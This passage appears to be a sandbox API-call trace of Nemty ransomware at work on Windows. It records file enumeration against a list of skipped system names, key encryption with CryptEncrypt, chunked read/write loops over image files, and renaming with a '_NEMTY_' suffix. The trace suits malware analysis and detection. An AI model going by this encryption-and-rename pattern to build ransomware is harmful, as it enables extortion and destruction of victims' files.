sidebar\\gadgets\\weather.gadget\\images\\29.png._nemty_kgobjgd_")) returned 0 [0155.218] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0155.218] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0155.218] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0155.218] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400d0 | out: hHeap=0x4f90000) returned 1 [0155.219] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0155.219] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0155.219] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0155.219] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0155.219] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86a243d3, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x86a243d3, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2ad8aed3, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x1456, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="3.png", cAlternateFileName="")) returned 1 [0155.219] lstrcmpiW (lpString1="3.png", lpString2=".") returned 1 [0155.219] lstrcmpiW (lpString1="3.png", lpString2="..") returned 1 [0155.219] lstrcmpiW (lpString1="3.png", lpString2="...") returned 1 [0155.219] lstrcmpiW (lpString1="3.png", lpString2="windows") returned -1 [0155.219] lstrcmpiW (lpString1="3.png", lpString2="$RECYCLE.BIN") returned 1 [0155.219] lstrcmpiW (lpString1="3.png", lpString2="rsa") returned -1 [0155.219] lstrcmpiW (lpString1="3.png", lpString2="NTDETECT.COM") returned -1 [0155.219] lstrcmpiW (lpString1="3.png", lpString2="ntldr") returned -1 [0155.219] lstrcmpiW (lpString1="3.png", lpString2="MSDOS.SYS") returned -1 [0155.219] lstrcmpiW (lpString1="3.png", lpString2="IO.SYS") returned -1 [0155.219] lstrcmpiW (lpString1="3.png", lpString2="boot.ini") returned -1 [0155.219] lstrcmpiW (lpString1="3.png", lpString2="boot.ini") returned -1 [0155.219] lstrcmpiW (lpString1="3.png", lpString2="AUTOEXEC.BAT") returned -1 [0155.219] lstrcmpiW (lpString1="3.png", lpString2="ntuser.dat") returned -1 [0155.219] lstrcmpiW (lpString1="3.png", lpString2="desktop.ini") returned -1 [0155.219] lstrcmpiW (lpString1="3.png", lpString2="CONFIG.SYS") returned -1 [0155.219] lstrcmpiW (lpString1="3.png", lpString2="RECYCLER") returned -1 [0155.219] lstrcmpiW (lpString1="3.png", lpString2="BOOTSECT.BAK") returned -1 [0155.219] lstrcmpiW (lpString1="3.png", lpString2="bootmgr") returned -1 [0155.219] lstrcmpiW (lpString1="3.png", lpString2="programdata") returned -1 [0155.219] lstrcmpiW (lpString1="3.png", lpString2="appdata") returned -1 [0155.219] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="3.png", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0155.219] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="3.png", cchWideChar=5, lpMultiByteStr=0x653ebd0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="3.png", lpUsedDefaultChar=0x0) returned 5 [0155.219] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="3.png", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0155.219] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="3.png", cchWideChar=5, lpMultiByteStr=0x653ebd0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="3.png", lpUsedDefaultChar=0x0) returned 5 [0155.219] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="3.png", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0155.219] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="3.png", cchWideChar=5, lpMultiByteStr=0x653ec20, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="3.png", lpUsedDefaultChar=0x0) returned 5 [0155.219] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="3.png", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0155.219] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="3.png", cchWideChar=5, lpMultiByteStr=0x653ec58, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="3.png", lpUsedDefaultChar=0x0) returned 5 [0155.219] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0155.219] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0155.220] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0155.220] Sleep (dwMilliseconds=0x5) [0155.233] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x102c5750, dwHighDateTime=0x1d561e8)) [0155.233] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x102c5750, dwHighDateTime=0x1d561e8)) [0155.233] GetLastError () returned 0x5 [0155.233] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0155.233] GetLastError () returned 0x5 [0155.233] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0155.233] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0155.233] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0155.234] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0155.234] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0155.234] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0155.234] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400d0 [0155.234] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x63400d0, pcchString=0x653e91c | out: pszString="uPB/7Mh1Bv4bosnK6nf4OkB3t87ZpLoZqoB/xJr3oVqxpIxNGqL/ZqdB2SIXgyX1\r\nHFUoz+84F5V1nHzj79d058B3XbZdCRA9a6w1Lbhvpm7gagGNS1XeNYP5NUVj7PAW\r\nPVtLzTWTWMUKqUlv0E04GxC+1Gg2nu/LAPS85kA541+IW4te2D7f6seaP8FI+5n4\r\nxf/6+1WhYNKAq/XVjKRFlVGiaY/xLyaMiX4RPFtB8unVKGiJ+gLss+6feEumy3ip\r\nCgW3qMy3EwMoMxPvEV1ko8mXU9Azki0lPb94ke2rZmAEuxwPWYwNkFouGLcPLMi3\r\nxpskJ0d2/iUCv8KISINoDA==\r\n", pcchString=0x653e91c) returned 1 [0155.234] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0155.234] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400d0 | out: hHeap=0x4f90000) returned 1 [0155.234] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0155.234] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0155.234] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400d0 [0155.234] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0155.234] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\3.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\3.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0155.234] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0155.234] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0155.234] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0155.234] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0155.244] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0155.244] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0155.244] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0155.244] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0155.254] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0155.254] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0155.254] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0155.254] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0155.263] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0155.263] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0155.263] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0155.263] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0155.272] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0155.272] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0155.272] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0155.272] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0155.282] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0155.282] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0155.282] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0155.282] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0155.291] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0155.291] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0155.291] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0155.291] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0155.300] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0155.300] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0155.300] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0155.300] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0155.310] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0155.310] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0155.310] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0155.310] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0155.321] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0155.321] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0155.321] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0155.321] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0155.330] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0155.330] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0155.330] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0155.330] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0155.336] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0155.336] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0155.336] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0155.336] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0155.342] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0155.342] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0155.342] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0155.342] WriteFile (in: hFile=0xffffffff, lpBuffer=0x63400d0, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0155.342] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0155.342] CloseHandle (hObject=0xffffffff) returned 0 [0155.342] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0155.342] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0155.342] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0155.342] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0155.342] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0155.342] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0155.342] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0155.342] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0155.342] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0155.342] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0155.342] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\3.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\3.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\3.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\3.png._nemty_kgobjgd_")) returned 0 [0155.343] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0155.343] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0155.343] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0155.343] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400d0 | out: hHeap=0x4f90000) returned 1 [0155.343] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0155.343] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0155.343] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0155.343] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0155.343] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86a243d3, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x86a243d3, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2ad8aed3, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x1010, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="30.png", cAlternateFileName="")) returned 1 [0155.343] lstrcmpiW (lpString1="30.png", lpString2=".") returned 1 [0155.343] lstrcmpiW (lpString1="30.png", lpString2="..") returned 1 [0155.343] lstrcmpiW (lpString1="30.png", lpString2="...") returned 1 [0155.343] lstrcmpiW (lpString1="30.png", lpString2="windows") returned -1 [0155.343] lstrcmpiW (lpString1="30.png", lpString2="$RECYCLE.BIN") returned 1 [0155.343] lstrcmpiW (lpString1="30.png", lpString2="rsa") returned -1 [0155.343] lstrcmpiW (lpString1="30.png", lpString2="NTDETECT.COM") returned -1 [0155.343] lstrcmpiW (lpString1="30.png", lpString2="ntldr") returned -1 [0155.343] lstrcmpiW (lpString1="30.png", lpString2="MSDOS.SYS") returned -1 [0155.343] lstrcmpiW (lpString1="30.png", lpString2="IO.SYS") returned -1 [0155.343] lstrcmpiW (lpString1="30.png", lpString2="boot.ini") returned -1 [0155.343] lstrcmpiW (lpString1="30.png", lpString2="boot.ini") returned -1 [0155.343] lstrcmpiW (lpString1="30.png", lpString2="AUTOEXEC.BAT") returned -1 [0155.343] lstrcmpiW (lpString1="30.png", lpString2="ntuser.dat") returned -1 [0155.343] lstrcmpiW (lpString1="30.png", lpString2="desktop.ini") returned -1 [0155.343] lstrcmpiW (lpString1="30.png", lpString2="CONFIG.SYS") returned -1 [0155.343] lstrcmpiW (lpString1="30.png", lpString2="RECYCLER") returned -1 [0155.343] lstrcmpiW (lpString1="30.png", lpString2="BOOTSECT.BAK") returned -1 [0155.343] lstrcmpiW (lpString1="30.png", lpString2="bootmgr") returned -1 [0155.343] lstrcmpiW (lpString1="30.png", lpString2="programdata") returned -1 [0155.343] lstrcmpiW (lpString1="30.png", lpString2="appdata") returned -1 [0155.343] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="30.png", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0155.343] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="30.png", cchWideChar=6, lpMultiByteStr=0x653ebd0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="30.png", lpUsedDefaultChar=0x0) returned 6 [0155.343] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="30.png", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0155.343] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="30.png", cchWideChar=6, lpMultiByteStr=0x653ebd0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="30.png", lpUsedDefaultChar=0x0) returned 6 [0155.344] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="30.png", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0155.344] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="30.png", cchWideChar=6, lpMultiByteStr=0x653ec20, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="30.png", lpUsedDefaultChar=0x0) returned 6 [0155.344] 